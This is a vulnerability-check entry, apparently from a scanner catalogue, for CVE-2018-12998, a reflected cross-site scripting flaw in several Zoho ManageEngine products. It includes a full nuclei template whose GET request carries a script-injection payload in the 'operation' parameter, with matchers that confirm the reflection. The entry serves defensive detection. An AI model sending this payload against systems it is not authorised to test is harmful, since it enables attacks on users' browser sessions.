Zoho manageengine - Cross-Site Scripting

mediumseverity

6.1CVSS score

99.2%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Zoho manageengine is vulnerable to reflected cross-site scripting. This impacts Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.

Fix

Apply the latest security patch or update provided by Zoho ManageEngine to fix the XSS vulnerability.

How to confirm it

Send: GET {{BaseURL}}/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%…
Positive when: contains "</script><script>alert(document.domain)</script>" AND contains in header "text/html" AND status 200

Run it with nuclei: nuclei -id CVE-2018-12998 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2018-12998

info:
  name: Zoho manageengine - Cross-Site Scripting
  author: pikpikcu
  severity: medium
  description: Zoho manageengine is vulnerable to reflected cross-site scripting. This impacts  Zoho ManageEngine Netflow Analyzer before build 123137, Network Configuration Manager before build 123128, OpManager before build 123148, OpUtils before build 123161, and Firewall Analyzer before build 123147 via the parameter 'operation' to /servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of the affected user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Apply the latest security patch or update provided by Zoho ManageEngine to fix the XSS vulnerability.
  reference:
    - https://github.com/unh3x/just4cve/issues/10
    - http://packetstormsecurity.com/files/148635/Zoho-ManageEngine-13-13790-build-XSS-File-Read-File-Deletion.html
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12998
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-12998
    cwe-id: CWE-79
    epss-score: 0.99209
    epss-percentile: 0.99934
    cpe: cpe:2.3:a:zohocorp:firewall_analyzer:-:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: zohocorp
    product: firewall_analyzer
  tags: cve,cve2018,zoho,xss,manageengine,packetstorm,zohocorp,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/servlet/com.adventnet.me.opmanager.servlet.FailOverHelperServlet?operation=11111111%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from